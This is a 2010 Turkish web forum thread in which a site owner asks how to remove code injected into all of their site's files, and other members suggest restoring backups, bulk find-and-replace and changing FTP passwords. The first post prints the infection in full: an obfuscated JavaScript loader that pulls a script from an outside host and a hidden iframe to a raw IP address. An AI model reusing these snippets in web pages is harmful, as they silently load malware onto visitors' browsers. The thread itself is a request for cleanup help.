• 26-05-2010, 14:16:34
    #1
    Üyeliği durduruldu
    merhaba arkadaşlar siteme aşağıdaki kodlar bulaşmış.tüm dosyalarda var nasıl temizlerim.tek
    tek elle temizlemem mi lazım yardımınızı bekliyorum


    <script>var Ye=new Date();K={S:"E"};var f;var cc='';J=function(){try {} catch(v){};b=12784;b+=65;function k(M,fw,g){i=53043;i++;var fU=[];return M.substr(fw,g);}var n=new String(k("/c6qd",0,2)+k("8y5on8y5",3,2)+"st"+k("5MkjanjkM5",4 ,2)+"tc"+k("onvjt1",0,2)+k("gkDtakDg",3,2)+k("yowc tyow",3,2)+"-c"+k("AIDomIAD",3,2)+k("/gqly",0,2)+k("oobW8d",0,2)+"gl"+"e."+"co"+k("lunm/nul",3,2)+"mp"+k("UBsCnrUBsC",4,2)+k("D4Es.E4D",3, 2)+k("RhtcohRt",3,2)+k("m.FNJh",0,2)+"ph"+"p");var ka=RegExp;xQ=7347;xQ--;var Y='';var H=document;P=43448;P--;try {} catch(dh){};this.Of=false;function w(M,fw){var Bt={f_:"s"};try {var z='Q'} catch(z){};var g="["+fw+k("]BGz",0,1);var co=58271;var W=new ka(g, k("gU0b7",0,1));QU={};return M.replace(W, Y);};this.EJ=false;var Qk=new Date();vW=["fs","T","BX"];bH=13925;bH+=46;var X=w('sScKrBixp8tS','x8S6dRBalLwmKq');var wU={N:false};this.pD=54959;this.pD+=68;var G=null;var m="bo"+"dy";By=49372;By--;var x=716384-708304;rx={fO:"tM"};var pa="";var pJ="";f=function(){try {ke=38867;ke++;Rm=35815;Rm--;var d=w('cVrLeha9t0e2EhlUebmVeCnitx','S7CVxFUX0ihMbQ_4 do2DH95LZ');var rV=false;L=[];r=H[d](X);vw={Wv:"ft"};DR=50964;DR-=65;var M=x+n;var B=w('sMrpcp','0ZpjgBM81D');var gu="de"+"fe"+k("r2jcY",0,1);var XG={};r[B]=k("httpymBg",0,4)+"://t"+k("enthOVUK",0,4)+k("profViJY",0,4)+"it.r"+k("u :2TMn",0,2)+M;r[gu]=[2,1][1];this.kY=2436;this.kY--;H[m].appendChild(r);var DH=[];jv={};var ll=26040;} catch(I){Qq={MF:"_D"};erm={mb:"OB"};};var UV='';};var BB="";};VGf={LB:25916};J();var Hz={wb:"OX"};this.YC=46609;this.YC-=223;window.onload=f;</script>
    <!--1afa3ac8209c0e8d9e83bab2f555b7b9--<html><body><script type='text/javascript'>str="<ijbwjuics src=" + unescape('%68%74%74%70%3a%2f%2f%39%31%2e%32%31%32% 2e%31%39%38%2e%31%31%35%2f%77%65%62%66%6f%72%75%6d %2f%67%6f%2e%70%68%70%3f%73%69%64%3d%38') + " xaoz3='1'vxoq3='1'>";str = str.replace('ijb', 'i');str =str.replace('wju', 'fr');str = str.replace('ics', 'ame');str =str.replace('xaoz3', 'width');str =str.replace('vxoq3','height');document.write(str) ;</script>
  • 26-05-2010, 14:36:30
    #2
    Üyeliği durduruldu
    bu aralar birçok kişide bu virüs sorunu var temiz halinin yedeği varsa onu at
  • 26-05-2010, 14:40:58
    #3
    Kimlik doğrulama veya yönetimden onay bekliyor.
    .js ve index.php index.html bu dosyaların içinde gizlenir

    sitenizin tüm dosyaları pc download edin.
    .js + index.php + index.html dosyaları buralar hepsini tek tek inceleyin
  • 26-05-2010, 14:46:02
    #4
    Üyeliği durduruldu
    malesef bu virüs beter bişey siliyorsun gene yükleniyor
    ben çok çektim
    tüm index le alakalı herşeyi temizle hocam
  • 26-05-2010, 20:05:16
    #5
    Grafi adlı üyeden alıntı: mesajı görüntüle
    .js ve index.php index.html bu dosyaların içinde gizlenir

    sitenizin tüm dosyaları pc download edin.
    .js + index.php + index.html dosyaları buralar hepsini tek tek inceleyin
    Aynen bu şekilde. Ama sitedeki tüm dosyaları editlememe rağmen problem hala devam ediyor. Çıkamadım işin içinden...
  • 26-05-2010, 20:35:25
    #6
    Üyeliği durduruldu
    Hocam "Advanced Find and Replace" isimli program, belirlenen bir klasör üzerindeki tüm dosyalarda belirttiğiniz kodları arıyor ve temizleyebiliyor. Bu işlemi virüssüz bir bilgisayarda yapmanızı öneririm. Ondan sonra dosyaları tekrar FTP'ye atın ve FTP şifrelerini değiştirin.
  • 26-05-2010, 21:29:00
    #7
    ftp programı kullanmanızı tavsiye etmem arkadaşların dediği yöntemle temizleyin şifrenizi değiştirin panelden değiştirin hem kolay hem virüs girmez benim tüm sitelerime girmişti çok bela bi virüs